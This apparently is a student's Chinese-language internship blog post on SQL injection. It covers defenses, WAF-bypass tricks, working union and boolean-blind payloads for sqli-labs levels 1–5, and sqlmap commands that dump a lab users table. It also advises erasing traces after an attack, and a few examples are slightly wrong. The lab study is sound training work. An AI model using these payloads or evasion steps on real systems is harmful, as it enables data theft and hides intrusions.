重邮信安集中实习第五天

目录

一、关于SQL注入

SQL注入原理

SQL注入常用函数及含义

SQL注入防御手段

SQL注入常用绕过waf的方法

二、sqli-labs闯关

环境搭建

第一关

第二关

第三关

第四关

第五关

三、SQLi的手工注入步骤总结

四、使用sqlmap通过第六关


一、关于SQL注入

SQL注入原理

        SQL注入是一种常见的网络安全漏洞,SQL注入的原理是攻击者通过在应用程序的输入字段中插入恶意SQL代码,利用应用程序对用户输入验证不足的漏洞,使这些恶意代码被当作正常数据的一部分执行,从而能够操纵数据库执行非授权的操作,如读取、修改或删除敏感数据。

SQL注入常用函数及含义

1、SELECT:

        用于查询数据库中的数据。

        示例:SELECT * FROM users;

2、UNION:

        将多个查询的结果合并为一个结果集。

        示例:SELECT id FROM users WHERE username = 'admin' UNION SELECT password FROM admin;

3、IF:

        根据条件执行不同的SQL语句。

        示例:SELECT IF(1=1, CONCAT(username, ':', password), '') FROM users;

4、SLEEP:

        使数据库暂停一段时间,用于盲注。

        示例:SELECT SLEEP(5);

5、BENCHMARK:

        重复执行一个操作以消耗资源,常用于延时注入。

        示例:SELECT BENCHMARK(10000000, AES_ENCRYPT('a', 'a'));

6、CONCAT:

        将多个字符串连接起来。

        示例:SELECT CONCAT(username, ':', password) FROM users;

7、ASCII:

        返回一个字符的ASCII码。

        示例:SELECT ASCII('A');

8、HEX:

        返回一个字符串的十六进制表示。

        示例:SELECT HEX('Hello World');

9、MIDSUBSTRING:

        提取字符串的一部分。

        示例:SELECT MID(password, 1, 1) FROM users;


10、LENGTHCHAR_LENGTH:

        获取字符串的长度。

        示例:SELECT LENGTH(password) FROM users;

11、DATABASEUSER:

        分别获取当前数据库名称和用户名。

        示例:SELECT DATABASE();

12、TABLE_NAMECOLUMN_NAME:

        获取表名和列名。

        示例:SELECT TABLE_NAME FROM information_schema.tables;

13、INFORMATION_SCHEMA:

        访问元数据,用于获取数据库架构信息。

        示例:SELECT TABLE_NAME, COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA = DATABASE();

SQL注入防御手段

1、参数化查询(预编译语句)

        参数化查询(也称为预编译语句或绑定参数)是防止SQL注入最有效的方法之一。这种方法将SQL语句与数据分开处理,确保用户输入的数据不会被解释为SQL代码。

示例: 

1$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ?");
2$stmt->bind_param("s", $username);
3$username = "admin";
4$stmt->execute();

2、使用存储过程

        存储过程是预先定义并编译好的SQL代码块,可以接受参数。使用存储过程可以确保用户输入的数据不会被解释为SQL代码。

 示例:

1DELIMITER //
2CREATE PROCEDURE GetUserData(IN user_name VARCHAR(50))
3BEGIN
4    SELECT * FROM users WHERE username = user_name;
5END //
6DELIMITER ;

3、输入验证

        对用户输入进行严格的验证,确保输入符合预期的格式和范围。例如,如果一个输入字段应该是数字,那么就确保它确实是数字。

 示例:

1import re
2
3def validate_input(input_str):
4    if re.match(r'^[a-zA-Z0-9_]+$', input_str):
5        return True
6    else:
7        return False
8
9username = "admin'"
10if validate_input(username):
11    # 输入有效,继续处理
12else:
13    # 输入无效,拒绝处理

4、数据转义

        对用户输入的数据进行转义,确保特殊字符不会被解释为SQL代码。例如,在MySQL中可以使用 mysqli_real_escape_string 函数。

 示例:

1$username = mysqli_real_escape_string($conn, $_POST['username']);

5、使用ORM(对象关系映射) 

        ORM框架(如Hibernate、Entity Framework、Django ORM等)通常内置了防止SQL注入的功能,可以自动处理SQL查询的安全问题。

 示例:

1from django.db import models
2
3class User(models.Model):
4    username = models.CharField(max_length=50)
5
6# 查询
7users = User.objects.filter(username='admin')

6、最小权限原则 

        确保应用程序的数据库账户具有最小必要的权限。例如,不要赋予写入或删除权限,除非绝对必要。

7、日志记录和监控

        记录应用程序的所有输入和SQL查询,定期审查日志以发现异常行为。同时,监控应用程序的行为,及时发现潜在的安全威胁。

8、教育和培训 

        定期对开发人员进行安全培训,确保他们了解SQL注入的风险和防御方法。

9、使用Web应用防火墙(WAF)

        部署Web应用防火墙(WAF)可以拦截恶意请求,防止SQL注入攻击到达应用程序。

10、更新和打补丁

        确保使用的数据库管理系统、开发框架和其他组件都是最新的版本,并及时应用安全补丁。通过综合运用这些方法,可以显著降低应用程序遭受SQL注入攻击的风险。每种方法都有其适用场景,合理搭配使用可以提供多层次的保护。

SQL注入常用绕过waf的方法

        绕过Web应用防火墙(WAF)的SQL注入攻击是一种高级技巧,涉及利用WAF对特定模式和字符的过滤机制。以下是一些常见的绕过WAF的方法:

1、编码与解码 

URL编码:将特殊字符进行URL编码。

例如,将单引号 ' 编码为 %27

示例:' OR '1'='1 变为 %27%20OR%20%271%27=%271

Base64编码:将SQL语句进行Base64编码。

示例:' OR '1'='1 变为 ' OR '1'='1 的 Base64 编码 JyBPUiAnMSgnPSdn

Unicode编码:使用Unicode编码,例如 \u0027 表示 '

示例:' OR '1'='1 变为 \u0027 OR \u00271\u0027=\u00271

2、字符替换

使用类似字符:使用相似的字符代替原字符。

例如,将 ' 替换为  或 

示例:' OR '1'='1 变为 ’ OR ‘1’=‘1

使用注释符号:使用SQL注释符号绕过WAF。

示例:' OR '1'='1 -- 或 ' OR '1'='1 /*

3、拆分查询

分段注入:将SQL注入语句拆分成多段,使用合法的SQL语法连接。

示例:' OR '1'='1 变为 ' OR 1=1`

使用合法关键字:使用合法的SQL关键字绕过WAF。

示例:' OR '1'='1 变为 ' OR 1=1

4、使用SQL函数

使用SQL函数:利用SQL函数绕过WAF。

示例:' OR '1'='1 变为 CONCAT(' OR ', '1', '=', '1')

使用CASE语句:使用CASE语句进行逻辑判断。

示例:' OR '1'='1 变为 CASE WHEN '1'='1 THEN ' OR ' ELSE '' END

5、使用注释和空格

插入注释:在SQL语句中插入注释符号。

示例:' OR '1'='1 -- 或 ' OR '1'='1 /*

插入空格:在SQL语句中插入多余的空格。

示例:' OR '1'='1 变为 ' OR ' 1 ' = ' 1

6、使用HTTP方法

使用POST方法:有些WAF对GET请求的过滤比较严格,但对POST请求相对宽松。

示例:通过POST方法发送SQL注入语句。

7、利用HTTP头部

使用HTTP头部:将SQL注入语句放在HTTP头部。

示例:通过User-Agent或Referer等头部字段传递SQL注入语句。

8、利用布尔盲注

布尔盲注:通过逐位判断的方式进行SQL注入。

示例:利用ANDOR逻辑判断进行逐位猜测。

9、利用时间延迟

时间延迟注入:利用SLEEP函数进行时间延迟注入。

示例:' OR SLEEP(5)-- 用于测试是否存在SQL注入漏洞。

10、利用数据库特性

利用数据库特性:不同数据库有不同的特性,可以利用这些特性绕过WAF。

示例:在MySQL中使用LOAD_FILE函数读取文件。

二、sqli-labs闯关

环境搭建

        首先,下载sqli-labs-master,并将sqli-labs-master放在WWW文件夹下:

         

        然后,修改db-creds.inc文件,将文件信息与原本数据库信息修改一致:

        添加服务器:

        随后,打开网站,即可进入sqli-labs网页:

        点击“Setup/reset Database for labs”后,就可以访问了:

第一关

        首先,根据提示信息“input the ID”,输入“?id=1”和“?id=2”:

        随后,判断是否有拼接情况:

        由上述结果可知:这是字符型的。下面尝试联合注入:

        由此,我们可以直接获取表名信息,添加“?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+”以获取:

        接着,添加“?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+”,获取所有字段名:

        最后,可以获取到敏感字段username及其对应的password:

第二关

        判断注入类型的方法,与第一关相似:

        由上图可知:这是数字型注入。下面尝试联合注入:

        与第一关相似,添加“?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'”以获取表名和字段名:

        最后,可获取各用户名及其对应的密码:

第三关

        与第一二关同理,先判断注入类型:

        由上图不难发现:这是带有括号的注入情况。下面尝试考虑括号的联合注入:

        最后,获取到数据库的敏感信息,数据库的表名、字段名和用户名及其对应的密码:

第四关

        首先,判断注入类型:

        由上图不难发现:这是双引号字符括号型。下面进行联合注入: 

        查询到的敏感信息:

第五关

        同理,先判断类型:

        由上图可知,这是单引号的字符型。下面尝试联合注入:

        由于页面中看不到任何回显区域,因此我们不能再用这种方式猜测数据库,下面使用布尔盲注:

        首先添加“?id=1'and length((select database()))>9--+”,判断数据库的长度:

        接着添加“?id=1'and ascii(substr((select database()),1,1))=115--+”,尝试找到需要盲注的字符:

        随后添加“?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+”,判断所有表名字符长度:

        再添加“?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+”,逐一判断表名:

        添加“?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+”,判断所有字段名长度:

        再添加“?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+”,逐一判断字段名:

        接着,添加“?id=1' and length((select group_concat(username,password) from users))>109--+”判断字段内容长度:

        最后,添加“?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+”,逐一检测内容:

三、SQLi的手工注入步骤总结

        SQL注入(SQLi)是一种常见的Web应用程序安全漏洞,攻击者通过将恶意的SQL代码插入到应用程序中未经净化的输入字段,从而获取敏感数据,修改数据,或者破坏整个数据库。手工执行SQL注入通常包括以下几个基本步骤:

1、识别注入点

        测试应用程序中的各种输入点(如表单、URL参数等),寻找可能存在的SQL注入漏洞。

2、判断数据库类型

        通过特定的SQL语法特性来判断后端数据库的类型(如MySQL, Oracle, SQL Server等)。

3、确定列数

        使用SQL语句(如联合查询 UNION SELECT)来确定查询返回的结果集中列的数量。

4、枚举数据类型

        根据已知的列数,尝试不同的数据类型(如数字、字符串)来确定每列表达式的正确格式。

5、提取数据

        利用SQL查询来提取数据库中的数据,比如表名、列名以及实际的数据内容。并使用如 UNION SELECT 或 ORDER BY 这样的技术来构造查询语句,提取信息。

6、绕过安全措施

        如果目标网站有WAF(Web应用防火墙)或其他安全措施,需要寻找方法绕过它们,比如更改SQL注入的语法或使用编码/编码技术。

7、利用漏洞

        根据收集到的信息,进一步利用漏洞进行更深入的操作,如修改或删除数据、提升权限等。

8、清理痕迹

        在完成攻击后,删除或隐藏自己的活动记录,以避免被检测到。

四、使用sqlmap通过第六关

        首先,下载好sqlmap包,如下图所示:

        在该文件夹下打开cmd,并输入“python sqlmap.py -u http://localhost/sqli-labs-master/Less-4/?id=1 --dbs --batch”查找数据库名:

        随后,输入“python sqlmap.py -u http://sql-labs/Less-6/?id=1 -D security --tables --batch”获取数据库的表名:

        接下来,使用代码“sqlmap.py -u http://localhost/sqli-labs-master/Less-6/?id=1 -D security -T users --column --batch”获取列名:        

        最后,输入“python sqlmap.py -u http://localhost/sqli-labs-master/Less-6/?id=1 -D security -T users -C id,username,password --dump --batch”直接爆破数据:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

奥他

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值